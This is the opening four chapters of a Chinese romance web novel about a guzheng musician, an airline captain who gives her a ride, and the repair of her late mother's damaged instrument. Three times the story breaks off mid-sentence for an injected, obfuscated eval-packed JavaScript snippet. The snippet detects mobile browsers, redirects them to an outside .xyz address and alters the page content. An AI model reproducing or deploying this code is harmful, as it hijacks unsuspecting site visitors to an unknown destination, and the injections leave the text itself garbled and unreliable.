《打到机长的顺风车后》 1. 第 1 章 午夜,江城国际机场停车场。 许黎念坐在车里,连续尝试了几次都无法启动车子,屏幕上不断闪烁着低压蓄电池故障灯。 很明显,她的电车出现了问题,而且一时半会无法解决。 没有任何迟疑,她认命地拿起手机开始打车,她倦极了,决定先回家休息,至于其他的,明天再作打算。 十分钟过去了,加价也没人接单。已经快凌晨两点,车少也能理解。 只能试试顺风车了,说不定有差不多时间航班,正好顺路,又正好想赚点小钱钱的。 事实证明这个想法不无道理,她很快就顺利打到了一辆车。 好家伙,居然是辆保时捷卡宴! 这……也缺钱? 惊讶的念头一闪而过,此刻不管豪车破车,只要能装下她古筝的就是辆好车。 许黎念是江城民族乐团的一名古筝演奏员,刚刚结束了一场在C市的表演,一路奔波坐了三个多小时的飞机,只想回家好好睡一觉。 地图显示顺风车的定位就在停车场,正朝着这边驶来,看来她的猜想八九不离十。 打开头顶上方的镜子照了下,美妆灯光下舞台妆浓得像鬼一样,厚重的粉底,夸张的眼影眼线,还有沉重到令每一次眨眼都费劲的双层假睫毛。 舞台上的灯光很吃妆,拍出来会很好看,可现实就很割裂,特别是这种深更半夜。 为了赶飞机她连妆都没来得及卸,做过造型的头发倒是在飞机上拆了,就是有一些喷过发胶的地方硬邦邦的。 她将长发披散开来,随手用梳子稍微梳了下,然后重新把口罩戴上,大半夜的别把人给吓着了。 冬夜的江城寒风刺骨,湿冷无比。 许黎念裹紧了羽绒服才下车,庆幸刚才还没把古筝和行李箱搬上车,不然又是一顿折腾的体力活。 才锁上车门,那辆顺风车就出现在视线中。 是黑色的,没错。 江A06…… 车牌号码也没错。 车子在她身旁利落停下,副驾车窗缓缓落下。 “手机尾号多少?” 一道漫不经心的男人声音从里头传来。 “0222。” 许黎念没仔细往里看,只随口一答,便拖着琴箱往车后面走。 后备箱适时弹了开来,里头横放着一套高尔夫球具,一只黑色的行李箱,一箱矿泉水,两双男士运动鞋,一些滑雪装备,还有一只尺寸不算小的置物箱。 几乎不剩什么多余空间。 这么多私人物品,看来不是专门营运的,的确很顺风。 可这…… 就在许黎念原地发愣,为难地想着该如何合理装下自己的东西时,男人已经下车走了过来。 “放不下吗?” 许黎念闻声抬头,见眼前的男人身形高大挺拔,一身藏青色的航司制服板正有型,双腿修长笔挺,皮鞋黑亮纤尘不染。 里头的白衬衫却是领口微敞,露出一截小麦色的脖颈,微凸的喉结下领带松松垮垮,与蓝色工牌挂绳交叠在一起,衣袖上四道金色的杠条格外醒目。 分明是制服的打扮,却散发着几分随性不羁的味道。 等等,四道杠。 他是机长?这么年轻? 许黎念疑惑地又看了一眼,唇薄鼻挺,几缕细碎的刘海随意地搭在硬朗的眉骨处,眼窝深邃一双桃花眼微微上挑。 天生一副浪子脸,一看就是祸害人的长相。 感受到她的打量,对方微微挑了挑眉,又似乎早就习惯了被人这般盯着,薄唇反而淡扯出一点玩味的笑意。 许黎念神色微敛,带着几分警惕与怀疑开口。 “请问,你是SA5306的机长吗?” “是,有问题吗?” 他微侧着脸,看向她,挑了挑眉。 这年头机长都出来搞副业了?不都是年薪百万吗? “没……确认一下比较放心。” 毕竟这年头什么都可能是假的,大半夜的谨慎点没坏处。 “班味这么重,如假包换的好吧。” 他好像懂她的意思,语气多了几分懒得解释又不得不解释一下的懒散,一把扯过胸前的工牌给她看。 段莫凡,星翼航空公司,机长。 许黎念确认过信息,礼貌说了声,“谢谢。” 至少是同一个航班的机长,应该不是坏人。 “不过——”许黎念看着小程序上他的信息,皱起了眉,“注册才一天,这该不会是你的首单吧?” “对,你是我的第一位乘客。” 第一位,也将是唯一的一位。 要不是那个赌约…… 他嘴角微扬,“给你打个折。” 深夜,长相很花穿着制服的机长,刚注册没评分没接过单的顺风车,可疑buff简直叠满! 许黎念警惕地握紧行李箱的把手,不自觉地往后退了一步。 他身形那么高大,如果有什么歹心,自己肯定逃不脱。 “那个……我携带的行李比较大件,你的车可能放不下,我想取消订单,实在抱歉。” 她冒着被骂的风险,扯了个比较靠谱的理由,毕竟小心驶得万年船。 他愣了一下,盯着她看了几眼,情绪倒是稳定没发火没骂人,反而一脸无所谓的轻轻嗤笑了一下。 “随便吧。” 说完便关上后备箱,转身走开。 许黎念松了一口气,低头取消,又重新叫车。 结果…… 他还未来得及开出的车里,传出一道熟悉的温柔的AI女声—— “接到尾号0222的乘客,前往瑞景华府……” 两人隔着车子,面面相觑,十分尴尬,万分无语。 他刚注册,不太懂平台规则,自动给他接单了。 他坐在车里,一手扶着方向盘,一手握着手机,看着窗外的她,哑然失笑。 “0222,缘分啊!” 许黎念唇角微抽,有被这戏剧般的离谱雷到。 她走近一步,微弯下腰,隔着半开的副驾车窗,疑惑开口。 “其实我有点好奇,机长真的需要出来开网约车吗?” “嗐,开三轮车和四轮车又有什么分别呢,反正都是司机。” 他边说边低头在车里翻找着什么,然后又开门下车。 “稍等一下。” 说着又走去后备箱,从那只黑色的飞行箱里拿出身份证,走到她身边。 “我知道你在担心什么。” 许黎念讶然看他一眼,也是很真诚了,便双手接过证件。 他的出生年份比自己早三年,28岁。 这么年轻的机长,的确少见,在她的固有概念中,机长都是中年大叔。 他的住址就在自己小区附近两公里,那里有一家还不错的健身房,她去过几次,的确是顺路。 看完,歉笑着还给他。 “可以放心了吧?”他将身份证塞进口袋,扬扬眉,“怎么说,还走不走?” 她低头掠了掠耳边的头发,抿抿唇,“抱歉,是我想多了,走吧。” 但是,这回轮到段莫凡迟疑了。 他看着她身旁,比她人还高的奇怪箱子,好奇问:“你这是什么东西?” 看他的眼神肯定和很多人一样往棺材上想。 许黎念忙解释,“是古筝,不是奇奇怪怪的东西,不然也上不了飞机。” 这台古筝长1.63米,加上这个带滑轮的琴箱得有1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542838|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .8米左右,又是四角方正的黑色长箱,也不怪人往那方面联想。 “我这车后排放平大概能有一米九左右,应该能放下吧。” “那可以,琴箱一米八。” 两人简单的交谈了几句,段莫凡开始整理后备箱的私人物品。 他身体前倾时,制服肩线不可避免地绷紧,勾勒出宽阔的双肩线条。一截衬衫袖子露出来,能够看到他手上戴着一只百年灵的航空计时表,三个小表盘的设计,倒是经典又符合他飞行员的身份。 折腾半晌,还是装不下琴箱,后备箱只能堪堪放下她那只28寸的行李箱。 段莫凡有些热地解开制服扣子,看向她身后停车位上的冰蓝色七座电车,猜想可能是车子出了故障,她才打车。 “小姐,或许你可以把这大家伙留在你的车里?” 逻辑上来说确实应该这样,等明天空了再来取,可是这架古筝对她很重要。 “不,还是要带走的。”许黎念没有任何的犹豫。 “Fine。” 他的表情像是在说,犟种,那你自己解决喽! 许黎念经常带琴四处工作,自然有经验,说道:“把副驾放倒也能放。” 结果琴箱实在太长太宽,这个方法也行不通。 段莫凡一手扶着副驾车门,一副好整以暇看好戏的表情。 许黎念根本就没注意到这些,弯腰一把抱住琴箱就往外挪。 逼得段莫凡往后退了两步,本来扶着车门的手,本能地垫到门框顶上,一边又想帮她托住琴箱,一时有些手忙脚乱。 “不用,我自己可以。” 许黎念礼貌拒绝,抱着琴箱轻轻平放在地上,然后打开保险扣。 其实短途时她一般只带个琴包,这次需要托运才拿了这个定制的琴箱,里面有厚厚的海绵,古筝放进去严丝合缝,所以一路都没问题。 古筝算起来是挺大的乐器,携带确实不方便,这也是她买大车,宁愿停在机场三天,支付高昂的停车费也不愿打车的原因。 卸下琴箱之后,古筝立刻瘦身不少。 “行了。” 许黎念不让他搭手,又抱起琴包小心翼翼地将它放到副驾,确定两头卡住不会滑动之后,才舒口气在后排落座。 段莫凡一边扣着安全带,一边说:“看你瘦瘦小小的,力气倒不小。” 他刚才搬了一下琴箱,那玩意儿少说也有几十斤,竖起来更是高的离谱,和他187的身高差不了多少。 而她看起来和去壳的古筝差不多高,脸上戴着一个黑色口罩,冷茶棕的长发有些蓬乱,随意披散在肩头,显得头脸小小的,身上虽然裹着一件又长又肥的黑色羽绒服,晃晃荡荡的还是能看出纤瘦的身材。 “习惯了。”许黎念浅浅说着,内心却不敢苟同。 他这是典型的男性视角定义女性,谁规定瘦瘦的女生就一定力气小?她一有空就去撸铁,就去普拉提,肌肉力量好得很! 而且古筝也算不得什么沉重的乐器,只是有点长。 当然她也没必要和个陌生人去争论这些,只希望能够顺利到家。 于是,她开口嘱咐:“麻烦一定要开稳一些,慢一点没关系,千万不能磕着。” 段莫凡从后视镜中瞥她一眼,风趣一笑,“怎么,我的驾驶技术令人不放心?还是说方才的航班有不满意的地方?” 方才的航班起落是挺平稳的,但也不能因此证明他的车技也OK。 “没有,我不是那个意思,只是这台古筝对我很重要。” 许黎念歉然一笑,其实心里就是这个意思,他那玩世不恭的模样总让人不太放心。 所以,她把行程信息截图,随手发给了闺蜜。 无论如何,多个心眼总没错。 2. 第 2 章 凌晨两点多的空港路,寂静又空旷,只有星星点点的路灯试图打破这片黑暗的笼罩。车辆寥寥,偶尔有车疾驰着超过,在这静夜里显得动静格外大。 许黎念很欣慰,这位段机长把她的叮嘱听进去了,车开得很平稳。 偷偷看他一眼,没有刷手机,没有聊天,眼神专注地看着前方,是一个司机该有的素养。 车子也按着既定路线在行驶,并未偏航。 她悬着的心终于放了下来。 到家后一定给他个五星好评。 车内空调暖和,音乐舒缓,是一首很经典的英文旋律,马林巴琴的声音和这静谧的深夜莫名很契合,滋生出一种独特的感觉。 忽然想到他们星翼航空钟爱班得瑞的钢琴曲,熟悉的旋律一响起就知道到家了,好像从没有更换过。 她想趁此机会问问这位段机长,想想他估计也没这话语权,还是忍住了。 靠在舒适的椅背上刷了会手机,越刷越困,眼皮沉重不听使唤地渐渐垂下来。 就在她迷迷糊糊快要睡着时,忽然身体猛地一个前冲,没有任何防备,一头结结实实撞在车窗框上。 这突如其来的撞击,让她的心跳急剧加速,甚至比额头的钝痛更快更强地传到意识中。 片刻间,她恍惚自己仍置身于航班之中,正经历着剧烈的颠簸,脑海中一片茫然混沌。 “册那,寻死啊!” 直到一句熟悉的粗口传来,她的意识猛地回笼清醒。 刚想问一句怎么了,睁眼就看到—— 怒气值爆表的机长,撞进路边绿化带的车,以及…… 移位侧翻的古筝! 天哪! 许黎念心中一沉,忙不迭拉开车门下去查看。 段莫凡也下了车,气得重重甩上车门,对着夜色中逃之夭夭的肇事车,叉着腰连连深呼吸。 开车遇到一些傻叉足以逼怒一个情绪稳定之人。 许黎念暂时没心思去管发生了什么,只希望她的古筝安然无恙。 轻轻打开古筝包拉链,入眼所见令她倒吸口凉气。 琴弦崩断两根,没卸的筝码倒了几个,有一个直接断成两半,前岳山明显磨损,筝首一角磕坏掉漆,装饰部分一片螺钿有裂痕,镶嵌的玳瑁也缺了一块。 当然,他的车内饰也不妙,撞击点凹陷破损。 足以证明这场意外发生得突然又剧烈。 此时,段莫凡已走到她身后,明显也看到了这个情况,只能自认倒霉。 “你定个损吧,我赔。” 他的语气已恢复平静,却又从口袋里摸出根烟来,似乎想平复下糟糕的心情。 “100万。” 冰冷又离谱的数字传来,段莫凡以为自己幻听,点烟的动作也停了下来,嘴里轻咬着那根还未点燃的烟,不可思议地看向她。 “多少?” 他的语调陡然转高。 坑人也没这个坑法的吧,他脸上是写着“大冤种”三个字吗? 真是把他给听笑了。 一百万的古筝。 镶金镶钻了?名家古董?还是笃定他没有这方面的常识,随意开口讹人? 正想问问她凭什么敢说出这样的数目来,微信来信息了。 “今天可是最后的期限,段大机长别忘了赌约【坏笑】.gif” 此人是段莫凡打高尔夫认识的朋友孟知行,也是今晚种种的万恶之源。 要不是与之打赌输了,他就不会被迫来当一回顺风车司机,也就不会发生之后的一切。 段莫凡看着信息气不打一处来,手指飞速打字。 “孟大总裁半夜不睡,就为了这?【闲得蛋疼】” “通宵加班太乏了,找点乐子。” “什么破班还要总裁亲自加?” “什么飞机还要航司少爷亲自开?” 这么你来我往一通,谁也没有占到上风。 男人之间的较量有时候就是挺幼稚,挺无聊,挺神经的,不像正常人能干出的事。 段莫凡低头用手掌拢着点火苗,终于点燃了那根叼在嘴里的烟,深深吸了一口,抬头见许黎念已经把古筝从车里搬了出来,正用琴包垫着平放到一旁干净的路面上。 车头大半卡在树枝间,水泥花坛留下明显的剐蹭痕迹,一侧大灯磕出一角裂痕,车身漆面满是刮痕,惨不忍睹。 他郁闷地又吸了口烟,半晌缓缓吐出。 刚才,他循规蹈矩地开着车,不知从哪里横窜出一个不要命的家伙,机车轰鸣,无视交规,呼啸而过。机车后座还带着一个身材火辣的妹子,飞驰而过的时候甚至故意轰响油门,还发出挑衅的叫喊。 幼稚的黄毛行为,他们不会以为这样很帅吧! 这个意外发生得猝不及防,不过凭他的反应和技术可以避免,偏偏又从草丛里窜出一只被吓到的猫,眼见着就要撞上,他这才打了一把方向盘一头扎进了绿化带。 而那个自己不要命,还不让人安生的家伙,竟然还敢逃逸! 段莫凡弯下腰来,对着破损的车头拍了张照,给孟知行发了过去。 “托你的福,孟大总裁,满意了吗?【白眼】” 对方很快回,“怎么搞的,光顾着看美女晃神了?” “滚你的蛋,记得赔我一百万。” “???” “乘客的物品磕坏了索赔一百万,我觉得这一切拜你所赐。” “what???” “先不扯了,忙着呢,老子就是告诉你一句已履约。” 信息还在响个不停,显然那头的孟知行一头雾水,不过段莫凡已不再理会,转而拨打电话报警,联系保险公司。 要不说飞行员心理素质好呢,此刻段莫凡已经完全平复,一套操作有条不紊。 挂断电话,转头见许黎念还在那儿默默摆弄着古筝。 他离她不过半个车身的距离,她低着头半蹲在那儿,正在一个一个卸着琴码,橘黄色的路灯打在她被黑色口罩包裹的侧脸,半明半暗看不清表情,微拧的眉心却似乎诉说着她的心疼。 是的,是心疼的表情,而非愤怒。 也没有与他纠缠争执赔偿问题。 看起来不像是讹人。 冷风萧瑟,空荡荡的路口,只有信号灯还在默默跳动,沉闷的氛围更添几分严肃。 他试图打破这种僵局,玩笑道:“100万,你说的是人民币吗?” 半蹲着的许黎念微愣了一下,而后站起身,定定看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542839|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,生冷地说:“你在阴阳什么?” 这架古筝用料很考究,饰面精美绮丽,是喜鹊登梅的螺钿镶嵌工艺。 这些还不是重点,主要这是妈妈留给她的遗物,平时都是小心翼翼养护着,只在重要场合才用这架古筝,在她心中千金不换。 她想起刚才他语气轻飘飘地说出“我赔”的话来,就特别讨厌,才会生气说出“100万”的数字来。 而此刻他这一句,更是火上浇油。 她觉得这个人差劲透了,他不会以为她是那种趁机讹人的骗子吧! 居然这样讽刺阴阳她。 她的眼妆很浓,大面积厚重的黄绿色眼影,眼尾还粘着一些点缀的亮片,假睫毛也是又长又翘,十分夸张。 这一点段莫凡没有惊讶,结合她携带着古筝,猜想那是她表演时的舞台妆,毕竟生活中不太可能遇到这样夸张妆容的人。 可即便是如此浓重的眼妆,也没有遮住她眼神中的冷漠与鄙夷。 段莫凡被她的眼神怔了一下,皱了皱眉,颇为疑惑。 “阴阳?你听不出这是在开玩笑?我只是想缓和一下紧张氛围。” “不好笑,谢谢。” 她说的很干脆,神情没有任何变化。 “OK。” 段莫凡轻扯唇角笑了下,低头踩灭了烟头,而后走近她,目光平和。 “小姐,takeeasy。这不是什么大事,没必要这样严肃。” 他试图让她放松紧绷,语气心平气和。 “既然你说100万,只要你能拿出相应的凭证来,我会赔,这一点你放心。” 许黎念张了张嘴欲言又止,沉默一会儿才开口。 “我承认说出100万这个数,有我一时的情绪化在里头。” 怕他插话似的,她又马上补上一句,“具体需要多少钱我现在没办法回答你,等我找到维修师会将发票传给你,绝不会多要你一分钱,这一点你也放心。” 许黎念说着,点开自己的微信二维码,往前走了两步,放到他面前。 “加一下,后续赔付方便联系。” “行。” 段莫凡觉得并无不妥,配合地打开手机扫一扫。 “怎么称呼,我备注下。” 她低头手指轻点屏幕,马上把自己的姓名“许黎念”三个字发了过去。 连名带姓,敞亮可鉴。 段莫凡注意到她额头磕的有些红肿,便说:“你的额头有点红,要不要去医院?” 许黎念下意识地摸了下额头,稍稍碰触就传来一阵痛感,但她不想让人觉得是在讹人。 “没事,过两天就好了。” “反正已经加了微信,你如果后续去医院,医疗费我也会出。” 许黎念点点头,看了眼手机,时间已经不早了。 “接下来的事跟我应该没什么关系,这单你取消吧,我先走了。” 段莫凡说:“行,你怎么回去?” 在他这么问的时候,许黎念已经低头开始重新打车。 她是个行事很飒爽的人,明确知道自己要做什么,绝不拖泥带水。 在交警赶来现场前,许黎念重新打到了一辆车,带着她的古筝消失在夜色中。 3. 第 3 章 许黎念失望地走出古筝修复工作室,已经第四家了,还是没有找到满意的结果,只能无奈地叹口气。 本以为一点破损很快就能修复好,结果陆续找了几个专业的师傅都说没办法修得毫无痕迹。 这是三十多年前的古筝,算是高龄筝,即使保养得再好,还是不可避免地出现了一些问题。这次工作室的检测就发现因为木材本身收缩出现了一些小裂纹,还有一些爆漆的地方甚至有了细小的蛀虫洞,还有这三十多岁的琴弦,也早该退休换新了。 即便没有这场意外的撞击,也是到了该大修的时候。 而且这是一□□一无二的定制款古筝,不是乐器厂批量生产的,材料和工艺都极为考究。在不了解这些的情况下,色彩、质感、音质都无法修到恢复如初。比如掉漆的地方不是仅仅补漆就行的,那是一种比较复杂的多宝嵌工艺,必须要专业的师傅才行。 几个工作室不约而同给出的建议都是找到当年制作的师傅。 那就不得不去找那个人了。 许黎念握着手机犹豫了一会儿,最后心里像下了某种决定,还是拨通了那个电话。 “喂,念念。” 面对那头的热情,许黎念沉默着,不知该如何开口。 “念念,爸爸正在停车,你稍等一下,我马上回拨过来。” 熟悉又陌生的声音,让她有些恍惚。 很小的时候,他也是这样和她说话,正好在忙的时候总会向她解释清楚。 应该是个有耐心的好爸爸。 如果妈妈没有突然去世的话。 一分钟后,那边果然打来回电。 “念念,不好意思等久了吧,你弟这不放假了嘛,我去接他。” 一秒被打回现实,本来想喊一声“爸爸”的想法,瞬间给压了下去。 十八九岁的大小伙,居然还要老爸接送搬行李,真可笑。 哦,可能可笑的只有她而已,那些年不管是去求学还是考试,她都是孤零零的一个人。 他还是个好爸爸,只是换了对象而已。 许黎念收起情绪,不带一丝感情地开口。 “你还记得妈留给我的那台古筝吗?” 电话那头一片静默。 许黎念轻笑一声,“对嘛,新家庭那么幸福,早忘了亡妻的一切。” “不是,当然不是。”黎平连连否认。 “无所谓了,不需要解释,我只是想问,你还记得那台古筝是谁制作的吗?” 许黎念发现自己的声音一如往常的平静,反正早就习惯了,没有期望就不会有失望。 “我当然记得,是陆云深大师亲手制作的。” “你是说古筝之父陆云深?” 这倒是在她意料之外,只知道妈妈很宝贝这台古筝,想不到也是大有来头。 “是,那年我和你妈新婚,也是她第一次登上国家级大舞台,那是我送给她的礼物,喜鹊登梅寓意是非常好的。” 她不想听他忆当年,以为自己很深情吗?还不是仅仅一年就另娶了。 十岁那年妈妈不幸遭遇空难,没有留下只言片语骤然离世,他抱着她以泪洗面,一度要活不下去。 可是十一岁,他就领着另外一个女人进了门,说是为了更好的照顾她。 十四岁,继母生下儿子,以朝南房间对婴儿好为由,霸占了她的房间,他默许了。 十八岁,孤身高考,他们一家三口却在国外度假。 二十岁,带着妈妈所有的遗物搬离,他没有挽留,甚至如释重负。 心目中那个爱她的爸爸一点点被蚕食,直到完全变成别人的爸爸,别人的丈夫。 再婚也能理解,没必要那么急吧,也没必要真的变成后爹般的存在吧。 或者说继母给他生了儿子,而嫌弃她只是个女孩? 不过,她早就不会去纠结这些了。 从她去派出所改名的那一刻起。 曾用名黎念,后来随母姓,许黎念。 “行,我知道了,就这样。” 她像个没有感情的机器。 “念念……有空回家吃饭好吗?” 家? 她早就没了。 “不用了。” 说完便毫不留情地挂了电话。 那些都不重要了,她只想把妈妈留给她的遗物修复如初。 *** 数天后。 狭小却布置得井井有条的会议室,前面放置着一块白板,上面写着一些飞行任务的信息,桌上几杯咖啡正冒着热气,机组人员身着统一的制服正开着执飞前的会议。 段莫凡坐在前面首位,手指轻划平板,神情专注。 “出发地天气不错,不过X市预报有雷暴。我和塔台已经沟通过,如果到时候情况确实恶劣,我们就备降T市。” 坐在侧边的乘务长立刻回应:“那客舱这边会提前和乘客说明这种可能的情况,做好情绪安抚工作。” “嗯。”段莫凡点了点头,目光转向机械师,与之确认飞机状态。 …… 程序化的例行会议,很快结束。 段莫凡端起纸杯喝了口咖啡,而后站起身,说:“OK,那就准备登机,祝我们这次飞行顺利,合作愉快。” 说着拖起飞行箱和过夜袋走出去,机组成员也纷纷跟着起身出去。 男帅女美又是统一的制服,自是一道引人注目的□□。 航站楼里迎面遇上其他机组。 “段机长,有空可以一起吃饭吗?” 对面机组里有空姐大着胆子搭讪。 “好啊,一起飞吃工作餐喽。” 段莫凡随口一说,没有驻足,也没有看对方一眼,一手拉着箱杆,一手托着飞行帽,大步流星的甚至已经错身过好几个人,估计都不清楚是谁在和他说话,当然也不会在意对方明显失望的叹气声。 走了一段路在拐角处又遇一个机组,擦身而过时,又有人试图聊几句引起他的注意。 “段机长,你怎么这两天都在打听什么古筝大师,搞什么啊?” 这回他停下了脚步,看向对方,他的目光有些玩世不恭,可偏偏长了一双深邃的桃花眼,很容易让人深陷其中。 他就这么定定的看着对方,就在对方快不好意思脸红的时候,他皱了皱眉,悠悠开口。 “Cathy,你今天香水有点野,故意的吧。” 对方眼中的期待感一下落了下来,沮丧说:“讨厌又认错我,明明上周一起飞过三段,还给你端过咖啡,我是Vincy啦。” 旁边另一个空姐捂嘴偷笑。 他又玩味地瞥了那个空姐一眼,嘴角三分笑意,“别冲我笑,回头睡不着算谁的?” 对方被他逗得嗤嗤笑,打趣道:“段机长,你是不是看上哪个弹古筝的小仙女了?” 被错认的Vincy说:“对呀对呀,不然为啥忽然跨界找古筝大师,我们没机会了呗。” 段莫凡挑挑眉,“不是,这事儿你们都知道了?” “段机长的事谁敢不放在心上,都传遍整个星翼了。” “有那么夸张?个么有眉目伐?”他表情丰富,故意露出一点惊讶。 “大师叫什么来着,陆……陆什么来着?” “陆云深。”段莫凡强调了一遍,然后吐槽,“说我记错你名字,你还不是马什么梅,什么冬梅。” 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542840|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梗成功把大家都逗笑。 事实上他是在朋友圈看到许黎念发的求助信息,似乎她的古筝需要这位叫陆云深的大师才能修复,但是她苦于没有大师的下落。 他不希望这件跟自己有关的事情拖太久,想帮忙尽快找到大师,该怎么维修该出多少钱,他都愿意赔付,只想尽快了却一桩事。 只是令他没想到的是,他不过向熟络的同事朋友打听了下,居然这么快传遍航司,他们也真够夸张的。 Vincy笑着说:“个么找到了有啥好处啦?” “你想要啥好处,嗯?” 他身子微微前倾,眼神玩味,然后微微眨了下眼睛。 被他这么一撩,Vincy瞬间脸泛红晕。 就他这双眼,简直看狗都深情,轻而易举就让人沦陷。 而他这个始作俑者已经回身举步离开,只留下一个英挺潇洒的背影,令人回味不已。 机组成员,有些搭档过几次,甚至与他很熟络。可有些是第一次搭,新入职的空乘见识到这一幕瞬间石化,刚才还在感叹段机长又帅工作又认真,就这么一会会就见识到了他如此随性不羁的一面,这反差着实是过于大了,实在让人难以消化。 说起段莫凡,在星翼航空绝对是个风云人物。他的飞行时间长达6000多小时,飞行技术过硬,才28岁就放机长,是星翼最年轻的机长。而且这整个航司都是他们段氏的产业,他却放着好好的家业不继承,跑来开飞机,也算是纯粹的个人爱好了。 这么优越的条件,加上长相帅气,想要高攀的人自然不少。但是他给人一种随性不羁,好像和谁都能搭上,甚至会随时劈腿的玩咖感觉。令一些想要追求安全稳定两性关系的人望而却步。 当然,也有一些觉得这样的男人更有挑战性,幻想着浪子回头,为了自己放弃整片花园,代入想想就很爽很有成就感。 *** 夜晚,许黎念正在琴房专心练琴,微信通话铃声突然不合时宜地响起,瞬间打破这份意境。 无奈地起身,戴着甲片的手抓起手机,发现居然是那个段莫凡打来的语音。 他找自己能有什么事?不会是反悔不想赔钱了吧? 许黎念对他印象不太好,甚至有点反感。 陌生人打什么语音,不会发文字吗,多冒昧啊! 迟疑了一会儿,铃声丝毫没有要停止的意思,她无奈接起,只想骂他能不能不要随便打语音。 不过没等她开口,那边就传来他的声音。 “许黎念小姐,晚上好。” 声音很有磁性,很好听,而且是一句很常见的礼貌问候,但人一旦产生成见,就欣赏不了,甚至会觉得有些油腻。 “什么事?”她有些不耐烦。 “我想你还在打听陆云深的下落吧。” 虽然她从黎平口中知道了古筝出自古筝之父陆云深之手,但是大师五年前就封山了,如今身在何处鲜有人知。 她的社交圈里自然是从事古筝相关行业的人最多,所以才发朋友圈求助,可惜到目前为止还没有眉目。 他现在这么问,估计也看到了她的朋友圈。 许黎念疑惑道:“怎么?” “陆老先生的住址我已打听到。” 许黎念愣住了,一瞬间有点不敢相信自己的耳朵,只听得他那边隐隐传来“哗啦哗啦”的声音,似乎在下着暴雨。 那边轻笑一声,“怎么,乐傻了,不问问是哪里?” “哪里?”她条件反射地问了一句。 “下周四下午1点20分,江城机场T2航站楼。” “什么意思?”她脑子一时转不过弯来。 “我正好执飞云城。” 4. 第 4 章 冬日暖阳透过整面的玻璃墙倾洒而下,给整个航站楼镀上了一层温暖的金黄。往来旅客或匆忙或悠闲,广播里温柔的女声不断播报着航班信息。 许黎念已经办完古筝托运,过了安检,坐在登机口附近休息等候。 上周与段莫凡的那次通话,她后来有问他具体在云城的什么地方,自己完全可以订张机票飞过去,干嘛非要等他一起。 可他却说机长有这福利,可以顺路带她过去,没必要多花冤枉钱。 她一边通话一边浏览着订票网站,快临近春运了,机票确实不便宜,而且很紧张。 就在这个时候,他发了一张已经订好的机票信息过来,上面是她的名字。 “你这……” 她没有接受别人馈赠的习惯,还是想婉拒,他却强势打断了她的话。 “不想早点把古筝修好吗?” 也是,目的一致,而且起因也是他。 这一下,她看到了他的诚意。 不仅高效率打听到了陆云深大师的下落,还主动带她过去。 “好,我会去的,谢谢。” “那么,下周四见,许黎念小姐。” 他缓缓说完,然后就挂断了通话。 她承认他的声音很好听,比如此刻坐在登机口,想起那天的通话,还是能回忆起那种磁性独特的声线,很有记忆点。 离登机还有一段时间,许黎念起身去饮水机接了杯水,从随身的包里拿出一片阿普唑仑,和水吞下。 她恐飞,能汽车高铁到达的地方绝对不会选飞机,可很多时候目的地很远或者时间不允许,根本没得选择,只能勉强自己。 可能妈妈因飞机失事而离世,她对飞行一直抱有恐惧感,只要一上飞机就控制不住害怕紧张,一点小小的气流颠簸都会惊出她一身冷汗,这么多年的心理创伤始终没有痊愈。 医生给她开了这个镇定安眠药,每次上飞机前吃上一片,一觉睡到目的地。 今天的天气格外好,阳光明媚,天空湛蓝,看一眼就让人心旷神怡。玻璃幕墙外就是停机坪,视野极为开阔,吸引了好些人驻足在栏杆处或欣赏风景或拍照。 许黎念也走了过去,任由温暖的阳光洒满全身。她已经开始心慌气短,试图通过晒太阳,深呼吸,远眺风景来缓解这种不安。 跑道上不断有起飞降落的飞机,地勤人员手持指挥棒引导着飞机,牵引车,加油车、摆渡车等往来穿梭,一切都在有条不紊地进行着。 “看,那个男的好帅!” “啊啊啊好像是我们这个航班的机长,我要给他递飞行日志。” 许黎念投在远方的视线被身旁人的谈话拉回,下意识地跟着看向眼前的廊桥。那里停着一架飞机,有个穿着制服的男人,外面套了一件荧光绿的马甲,正在做着绕机检查工作。 帅得很显眼,确实是那个段莫凡。 帅得实在很难让人移开眼,不知不觉她的目光跟随着他,好像没人会拒绝看一个帅哥认真工作的样子。 转到飞机另一侧的时候,他忽然抬头朝这边瞥了一眼,宽大的墨镜遮住了他的眼睛,她却仿佛做贼心虚一般,像是偷窥被现场抓包似的,垂眸慌张地往后退了一步。 然后看到旁边一些人兴奋地笑着在朝窗外挥手。 “啊啊啊,机长朝我打招呼了!” “明明是在对我笑。” 就说这人天生浪子脸,眼带桃花,花的很! 许黎念暗忖着转身走开,重新找了个位置坐下。 *** 终于开始登机,许黎念拿着登机牌,排在长长的队伍中跟着慢慢往前走。 过了登机口,走到廊桥时,她还是给段莫凡发了个信息。 “我已登机,再次感谢你的帮助。” 